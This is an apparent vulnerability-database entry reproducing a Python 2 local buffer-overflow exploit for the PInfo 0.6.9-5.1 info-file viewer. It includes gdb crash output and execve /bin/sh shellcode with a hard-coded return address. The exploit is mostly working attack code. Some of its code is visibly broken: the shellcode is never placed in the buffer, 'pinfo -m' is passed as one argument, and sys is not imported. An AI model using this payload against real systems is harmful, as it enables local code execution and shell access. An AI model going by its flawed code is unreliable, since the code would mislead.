Buffer Overflow in PInfo File Viewer

vendor:

PInfo File Viewer

by:

Juan Sacco

7,8

CVSS

HIGH

Buffer Overflow

119

CWE

Product Name: PInfo File Viewer

Affected Version From: 0.6.9-5.1

Affected Version To: 0.6.9-5.1

Patch Exists: YES

Related CWE: N/A

CPE: a:pinfo:pinfo

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Kali Linux 2.0

2017

Buffer Overflow in PInfo File Viewer

A buffer overflow vulnerability exists in PInfo File Viewer version 0.6.9-5.1. The vulnerability is triggered when a malicious user supplies a specially crafted input to the program, resulting in a segmentation fault. This can be exploited to execute arbitrary code by overwriting the return address on the stack with the address of the malicious code.

Mitigation:

Upgrade to the latest version of PInfo File Viewer.

Source

Exploit-DB raw data:

# Exploit developed using Exploit Pack v5.4
# Exploit Author: Juan Sacco - http://www.exploitpack.com - jsacco@exploitpack.com
# Program affected: PInfo - File viewer
# Version: 0.6.9-5.1
#
# Tested and developed under:  Kali Linux 2.0 x86 - https://www.kali.org
# Program description:  An alternative info-file viewer
# pinfo is an viewer for Info documents, which is based on ncurses.
# Kali Linux 2.0 package: pool/main/p/pinfo/pinfo_0.6.9-5.1_i386.deb
# MD5sum: 9487efb0be037536eeda31b588cb6f89
# Website:http://pinfo.alioth.debian.org/
#
# $ run -m `python -c 'print "A"*564+"DCBA"'`
# Program received signal SIGSEGV, Segmentation fault.
# --------------------------------------------------------------------------[regs]
#  EAX: 0x00000002  EBX: 0xB7F0B000  ECX: 0x00004554  EDX: 0x00000100
# o d I t s z a P c
#  ESI: 0x41424344  EDI: 0x00004554  EBP: 0xBFFFF4A4  ESP: 0xBFFFEF30
# EIP: 0xB7D92832
#  CS: 0073  DS: 007B  ES: 007B  FS: 0000  GS: 0033  SS: 007B
# --------------------------------------------------------------------------[code]
# => 0xb7d92832 <__GI_getenv+114>:    cmp    di,WORD PTR [esi]
#   0xb7d92835 <__GI_getenv+117>:    jne    0xb7d92828 <__GI_getenv+104>
#   0xb7d92837 <__GI_getenv+119>:    mov    eax,DWORD PTR [esp+0x14]
#   0xb7d9283b <__GI_getenv+123>:    mov    DWORD PTR [esp+0x8],eax
#   0xb7d9283f <__GI_getenv+127>:    mov    eax,DWORD PTR [esp+0x18]
#   0xb7d92843 <__GI_getenv+131>:    mov    DWORD PTR [esp+0x4],eax
#   0xb7d92847 <__GI_getenv+135>:    lea    eax,[esi+0x2]
#   0xb7d9284a <__GI_getenv+138>:    mov    DWORD PTR [esp],eax
# --------------------------------------------------------------------------------
#
#  gdb$ x/100x $esp
# 0xbffff250:    0xbffff49c    0x00000003    0x00000001    0x00000002
# 0xbffff260:    0xb7d6ebf8    0xb7fe78bd    0xb7d74ffd    0x41049384
# 0xbffff270:    0x41414141    0x41414141    0x41414141    0x41414141
# 0xbffff280:    0x41414141    0x41414141    0x41414141    0x41414141
# 0xbffff290:    0x41414141    0x41414141    0x41414141    0x41414141
# 0xbffff2a0:    0x41414141    0x41414141    0x41414141    0x41414141
# 0xbffff2b0:    0x41414141    0x41414141    0x41414141    0x41414141

import os, subprocess

def run():
  try:
    print "# PInfo File Viewer - Local Buffer Overflow by Juan Sacco"
    print "# This Exploit has been developed using Exploit Pack"
    # NOPSLED + SHELLCODE + EIP

    buffersize = 564
    nopsled = "\x90"*200
    shellcode = "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
    eip = "\x40\xf3\xff\xbf"
    buffer = nopsled * (buffersize-len(shellcode)) + eip
    subprocess.call(["pinfo -m",' ', buffer])

  except OSError as e:
    if e.errno == os.errno.ENOENT:
        print "Sorry, PInfo File Viewer - Not found!"
    else:
        print "Error executing exploit"
    raise

def howtousage():
  print "Snap! Something went wrong"
  sys.exit(-1)

if __name__ == '__main__':
  try:
    print "Exploit PInfo 0.6.9-5.1 Local Overflow Exploit"
    print "Author: Juan Sacco - Exploit Pack"
  except IndexError:
    howtousage()
run()